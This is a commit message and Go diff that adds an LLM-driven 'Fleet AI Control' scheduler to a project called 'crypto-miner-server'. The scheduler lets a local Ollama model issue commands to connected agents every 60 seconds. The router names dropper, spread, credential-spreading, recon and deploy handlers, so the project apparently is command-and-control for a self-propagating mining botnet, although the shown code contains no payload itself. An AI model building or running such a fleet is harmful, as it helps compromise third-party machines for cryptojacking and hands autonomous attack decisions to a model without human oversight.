Add Calibrate AI Control UI and fleet LLM backend wiring.

Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.

server/main.go

@@ -20,6 +20,7 @@ import (
 	"crypto-miner-server/internal/builder"
 	"crypto-miner-server/internal/cloudflared"
 	"crypto-miner-server/internal/db"
+	fleetai "crypto-miner-server/internal/ai"
 	"crypto-miner-server/internal/maintenance"
 	"crypto-miner-server/internal/pool"
 	"crypto-miner-server/internal/scheduler"
@@ -268,6 +269,17 @@ func main() {
 	defer fleetSched.Stop()
 	wsHub.SetConnectTaskRunner(fleetSched)
 
+	fleetAISched := fleetai.NewScheduler(
+		&api.ConfigAIAdapter{Src: configProvider},
+		&api.WSHubSnapshotAdapter{Hub: wsHub},
+		&api.FleetAIExecutor{Hub: wsHub},
+		&api.DatabaseAIDecisionStore{DB: database},
+	)
+	fleetAISched.Start()
+	defer fleetAISched.Stop()
+	fleetAIHandler := api.NewFleetAIHandler(configProvider, database)
+	log.Println("Fleet AI Control scheduler initialized")
+
 	// Initialize blueprint handler (config presets)
 	blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
 	log.Println("Blueprint handler initialized")
@@ -305,7 +317,7 @@ func main() {
 	log.Printf("Web root: %s", webRoot)
 
 	// Initialize router
-	router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
+	router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
 		return configProvider.PublicURL()
 	}, cfg.Port, func() bool {
 		return cfg.ConnectorToken() != ""
@@ -379,6 +391,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
 				ReconTiers:           cfg.Server.TripleOnionPolicy.ReconTiers,
 				DeployLanes:          cfg.Server.TripleOnionPolicy.DeployLanes,
 			},
+			AIControlEnabled: cfg.Server.AIControlEnabled,
 		})
 	}
 	if poolManager != nil {
@@ -479,6 +492,46 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
 	return nil
 }
 
+func (p *serverConfigProvider) GetFleetAIConfig() api.FleetAIConfigView {
+	if p == nil || p.config == nil {
+		return api.FleetAIConfigView{}
+	}
+	s := p.config.Server
+	interval := s.AIDecisionIntervalSec
+	if interval <= 0 {
+		interval = 60
+	}
+	return api.FleetAIConfigView{
+		AIControlEnabled:      s.AIControlEnabled,
+		AIEndpoint:            s.AIEndpoint,
+		AIModel:               s.AIModel,
+		AINoContext:           s.AINoContext,
+		AIDecisionIntervalSec: interval,
+	}
+}
+
+func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) error {
+	if p == nil || p.config == nil {
+		return fmt.Errorf("config unavailable")
+	}
+	if v.AIDecisionIntervalSec < 0 {
+		return fmt.Errorf("ai_decision_interval_sec must be ≥ 0")
+	}
+	payload, err := json.Marshal(map[string]interface{}{
+		"server": map[string]interface{}{
+			"ai_control_enabled":       v.AIControlEnabled,
+			"ai_endpoint":              v.AIEndpoint,
+			"ai_model":                 v.AIModel,
+			"ai_no_context":            v.AINoContext,
+			"ai_decision_interval_sec": v.AIDecisionIntervalSec,
+		},
+	})
+	if err != nil {
+		return err
+	}
+	return p.UpdateConfigFromJSON(payload)
+}
+
 // findAgentSourceDir locates the agent source code directory
 // It searches relative to the server binary location and the current working directory
 func findAgentSourceDir() string {